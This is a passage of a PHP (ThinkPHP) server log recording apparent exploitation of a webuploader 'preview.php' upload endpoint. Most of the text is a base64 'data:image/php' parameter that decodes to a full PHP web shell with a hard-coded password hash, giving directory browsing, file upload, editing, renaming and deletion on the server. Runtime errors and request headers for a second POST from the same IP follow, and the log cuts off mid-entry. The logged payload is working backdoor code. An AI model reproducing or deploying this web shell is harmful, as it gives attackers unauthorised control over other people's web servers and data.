'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:08:33+08:00 ] 119.42.146.234 POST 59.110.137.245/static/webuploader/0.1.15/server/preview.php [运行时间:0.002911s] [吞吐率:343.54req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 